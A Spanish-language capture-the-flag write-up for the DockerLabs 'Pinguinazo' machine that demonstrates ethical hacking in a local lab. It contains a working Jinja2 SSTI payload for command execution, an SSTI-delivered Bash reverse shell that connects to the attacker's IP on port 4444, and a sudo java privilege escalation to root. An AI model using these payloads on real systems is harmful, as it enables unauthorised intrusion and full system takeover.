Pinguinazo

DockerLabs — Linux · SSTI Jinja2 en Flask → reverse shell → sudo java → root

● FÁCIL DOCKERLABS LINUX SSTI · Jinja2 sudo · Java 📅 Junio 2026 · By Brandeiks

Resumen Ejecutivo

Pinguinazo es una máquina de dificultad Fácil de DockerLabs diseñada para practicar Server-Side Template Injection (SSTI) en aplicaciones Python/Flask con Jinja2, y escalada de privilegios abusando de sudo java. El servidor expone únicamente el puerto 5000 con una aplicación Flask llamada PinguRegistro que renderiza directamente la entrada del usuario en una plantilla Jinja2 — condición suficiente para lograr RCE sin autenticación.

Una vez dentro como el usuario pinguinazo, sudo -l revela que puede ejecutar /usr/bin/java como cualquier usuario sin contraseña. Siguiendo la técnica de GTFObins para Java con Sudo, compilamos un pequeño programa Java que spawna una shell con ProcessBuilder, lo ejecutamos con sudo java Shell y obtenemos acceso como root.

FaseTécnica / HerramientaResultado
Despliegueauto_deploy.sh pinguinazo.tarContenedor activo en 172.17.0.2
Reconocimientonmap -p- -sSCV + xsltprocPuerto 5000 · Werkzeug Flask (Python 3.12.3)
Enumeración WebNavegador → :5000Formulario PinguRegistro — entrada reflejada sin sanitizar
ExplotaciónSSTI Jinja2 via cycler.__init__RCE como usuario pinguinazo
Reverse ShellPayload SSTI + nc -nlvp 4444Shell interactiva como pinguinazo
PrivEscsudo java + Shell.java + GTFObinsShell como root

Despliegue del Laboratorio

1
LANZAR EL CONTENEDOR DOCKERLABS

Desplegamos la máquina con el script de DockerLabs. El contenedor arranca y nos asigna la IP 172.17.0.2. El proceso queda en primer plano y se detiene con Ctrl+C cuando terminemos.

DEPLOY
$ sudo bash auto_deploy.sh pinguinazo.tar
Estamos desplegando la máquina vulnerable, espere un momento.
 
Máquina desplegada, su dirección IP es ─→ 172.17.0.2
 
Presiona Ctrl+C cuando termines con la máquina para eliminarla

Reconocimiento

2
ESCANEO DE PUERTOS CON NMAP

El escaneo revela un único puerto abierto: el 5000/tcp con Werkzeug httpd 3.0.1 corriendo sobre Python 3.12.3. El título de la página es Pingu Flask Web, confirmando que se trata de una aplicación Flask. El servidor Werkzeug en producción es una señal de que la app puede estar en modo desarrollo o mal configurada.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2 -oX pinguinazo.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-04 20:42 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 65534 closed tcp ports (reset)
 
PORT      STATE SERVICE VERSION
5000/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-title: Pingu Flask Web
|_http-server-header: Werkzeug/3.0.1 Python/3.12.3
MAC Address: BE:AD:E0:19:3F:F4 (Unknown)
 
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds
3
GENERAR REPORTE HTML CON XSLTPROC

Convertimos el XML de Nmap a un reporte HTML legible usando la hoja de estilos XSL incluida con Nmap. Esto nos permite revisar el escaneo cómodamente en el navegador.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl pinguinazo.xml > pinguinazo.html
4
INSPECCIÓN DE LA APLICACIÓN WEB

Abrimos http://172.17.0.2:5000/ en el navegador. Encontramos el formulario PinguRegistro con campos: PinguNombre, PinguCumple, PinguEmail y PinguPhone. Al ser una app Flask con Jinja2, probamos si el campo PinguNombre es vulnerable a SSTI inyectando una expresión matemática de prueba.

// DETECCIÓN DE SSTI

El test clásico para SSTI en Jinja2 es {{"{{"}}7*7{{"}}"}}. Si la aplicación renderiza 49 en la respuesta en lugar del string literal, el motor de plantillas está evaluando nuestra entrada — confirmando SSTI.


Server-Side Template Injection (SSTI)

5
PAYLOAD SSTI — VERIFICACIÓN DE RCE

Confirmada la SSTI, usamos un payload más avanzado que aprovecha el objeto self._TemplateReference__context de Jinja2 para acceder al módulo os a través del ciclo de vida de los objetos de contexto. El payload ejecuta id en el servidor y nos devuelve el resultado en la respuesta HTTP.

// PAYLOAD DE VERIFICACIÓN

Este payload no requiere __builtins__ y funciona directamente sobre cualquier objeto en el contexto de Jinja2:

SSTI PAYLOAD
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
uid=1000(pinguinazo) gid=1000(pinguinazo) groups=1000(pinguinazo)

El servidor ejecuta el comando y devuelve que estamos corriendo como el usuario pinguinazo. Tenemos ejecución remota de código confirmada. El siguiente paso es obtener una reverse shell interactiva.


Reverse Shell

6
IDENTIFICAR NUESTRA IP DE ATACANTE

Antes de generar la reverse shell necesitamos conocer nuestra IP en la interfaz Docker. Ejecutamos ifconfig y localizamos la IP de la interfaz eth0: 192.168.111.128. Esta será la IP a la que el contenedor se conectará de vuelta.

IFCONFIG
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.111.128 netmask 255.255.255.0 broadcast 192.168.111.255
        ether 00:0c:29:88:af:27 txqueuelen 1000 (Ethernet)
7
PONERSE EN ESCUCHA CON NETCAT

Abrimos un listener en el puerto 4444 de nuestra máquina atacante con Netcat. Este proceso queda esperando la conexión entrante del contenedor.

LISTENER
$ nc -nlvp 4444
listening on [any] 4444 ...
8
ENVIAR PAYLOAD DE REVERSE SHELL VÍA SSTI

Usamos el mismo vector SSTI pero ahora el comando es una reverse shell Bash. El payload generado con revshells.com (tipo Bash -i) establece la conexión a nuestra IP y puerto. Lo pegamos en el campo PinguNombre y enviamos el formulario.

& /dev/tcp/192.168.111.128/4444 0>&1"'"'"').read() }}'> REVSHELL SSTI
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "sh -i >& /dev/tcp/192.168.111.128/4444 0>&1"').read() }}
connect to [192.168.111.128] from (UNKNOWN) [172.17.0.2] 37382
sh: 0: can't access tty; job control turned off
$ whoami
pinguinazo
$ ls
flask_ssti_lab

// NOTA

La shell que obtenemos es básica (sin TTY completo). Para mejorarla podemos usar: python3 -c 'import pty; pty.spawn("/bin/bash")' seguido de Ctrl+Z, stty raw -echo; fg y luego export TERM=xterm.


Escalada de Privilegios — sudo Java

9
ENUMERAR PERMISOS SUDO

Ejecutamos sudo -l para listar qué comandos puede ejecutar el usuario pinguinazo como root sin contraseña. El resultado es contundente: puede ejecutar /usr/bin/java como cualquier usuario con NOPASSWD.

SUDO -L
$ sudo -l
Matching Defaults entries for pinguinazo on 18f5ddaaf0af:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User pinguinazo may run the following commands on 18f5ddaaf0af:
    (ALL) NOPASSWD: /usr/bin/java
10
CREAR Y COMPILAR SHELL.JAVA (GTFObins)

Siguiendo la técnica de GTFObins para Java con Sudo, creamos un programa Java mínimo que usa ProcessBuilder para lanzar /bin/sh heredando los file descriptors del proceso padre. Al ejecutarlo con sudo, la shell hereda los privilegios de root.

// ATENCIÓN — CASE SENSITIVE

Java distingue mayúsculas: el archivo debe llamarse Shell.java (con S mayúscula) y ejecutarse como sudo java Shell (no shell). Un error común es escribir sudo java shell que resulta en ClassNotFoundException: shell.

CREAR Shell.java
$ cat >Shell.java <<EOF
public class Shell {
  public static void main(String[] args) throws Exception {
    new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
  }
}
EOF
COMPILAR
$ javac Shell.java
11
EJECUTAR CON SUDO → ROOT

Ejecutamos el programa compilado con sudo java Shell. El proceso Java arranca /bin/sh con UID efectivo de root gracias al permiso sudo. Verificamos con whoami.

PRIVESC
$ sudo java Shell
$ whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

// MÁQUINA COMPROMETIDA

Acceso root obtenido. Cadena completa: SSTI Jinja2 → RCE → reverse shell pinguinazo → sudo java Shell → root.


Referencia de Comandos

nmap
nmap [flags] <target>
Escáner de red y puertos. Detecta servicios, versiones y ejecuta scripts NSE.
  • -p- — todos los 65535 puertos
  • -sSCV — SYN scan + versión + scripts
  • -n — sin resolución DNS
  • -Pn — no ping previo (asumir host activo)
  • --min-rate=5000 — mínimo 5000 paquetes/seg
  • --open — solo puertos abiertos
  • -oX — output en formato XML
nc (netcat)
nc -nlvp <port>
Swiss army knife de redes. En modo listener recibe conexiones entrantes (reverse shells).
  • -n — sin resolución DNS
  • -l — modo listener
  • -v — verbose (mostrar conexiones)
  • -p — especificar puerto
sudo
sudo [opciones] <comando>
Ejecuta comandos con privilegios de otro usuario (por defecto root).
  • -l — listar comandos permitidos
  • -u user — ejecutar como usuario específico
  • NOPASSWD — sin solicitar contraseña
javac / java
javac Shell.java && java Shell
Compilador e intérprete de Java. Compilar genera Shell.class que luego ejecuta la JVM.
  • javac — compila .java → .class
  • java — ejecuta el bytecode
  • ProcessBuilder — spawna procesos hijos
  • inheritIO() — hereda stdin/stdout/stderr

Glosario

SSTI — Server-Side Template Injection
Server-Side Template Injection ocurre cuando una aplicación web embebe directamente la entrada del usuario dentro de una plantilla que es procesada por el servidor, en lugar de pasar los datos como argumentos al motor de plantillas. En Jinja2 (Python/Flask), las expresiones entre {{ }} son evaluadas como código Python. Si el input del usuario se concatena al template string antes de renderizarlo, el atacante puede ejecutar código arbitrario. La detección clásica es inyectar {{"{{"}}7*7{{"}}"}} — si la respuesta contiene 49, hay SSTI. La explotación va de lectura de variables de entorno hasta RCE completo.
Jinja2 — Motor de Plantillas Python
Jinja2 es el motor de plantillas por defecto de Flask. Permite generar HTML dinámico usando variables ({{ variable }}), estructuras de control ({% if %}{% for %}) y filtros. El objeto self._TemplateReference__context es una referencia interna al contexto de la plantilla. A través de él se puede acceder a objetos globales como cycler, joiner o namespace, cuyos métodos __init__ tienen acceso a __globals__ que incluye el módulo os, permitiendo llamar a os.popen() para ejecutar comandos del sistema.
Werkzeug — Servidor WSGI de Desarrollo
Werkzeug es la librería WSGI subyacente de Flask, que incluye un servidor de desarrollo integrado. Cuando se detecta en producción (como en esta máquina), indica una mala práctica de deployment. En modo debug, Werkzeug expone un debugger interactivo en el navegador que permite ejecutar código Python directamente sin necesidad de SSTI. La versión 3.0.1 con Python 3.12.3 vista en el escaneo Nmap confirma el stack tecnológico.
Reverse Shell — Shell Inversa
Una reverse shell es una técnica donde el sistema comprometido inicia la conexión hacia el atacante (en lugar del atacante conectarse al objetivo). Esto evita firewalls que bloquean conexiones entrantes. El comando sh -i >& /dev/tcp/IP/PORT 0>&1 redirige stdin, stdout y stderr de una shell interactiva a través de un socket TCP hacia la máquina atacante. El atacante escucha con nc -nlvp PORT y recibe la shell cuando el payload se ejecuta.
GTFObins — Java con Sudo
GTFObins documenta que java puede escalar privilegios cuando se ejecuta via sudo. La técnica consiste en compilar una clase Java que use ProcessBuilder("/bin/sh").inheritIO().start().waitFor(). Al llamar a sudo java Shell, la JVM arranca como root y el ProcessBuilder spawna una /bin/sh que hereda el contexto de root mediante inheritIO(). El truco de inheritIO() es que conecta automáticamente el stdin/stdout/stderr del proceso hijo con los del proceso padre (la JVM corriendo como root), dándonos una shell interactiva root sin más configuración.
DockerLabs — Plataforma de Laboratorios
DockerLabs es una plataforma de hacking ético gratuita que usa contenedores Docker como máquinas vulnerables. Se ejecuta localmente sin necesidad de VPN, con IPs siempre en el rango 172.17.0.0/16. El despliegue es instantáneo con auto_deploy.sh y la eliminación también: solo Ctrl+C. Ideal para practicar sin límites de tiempo ni instancias concurrentes.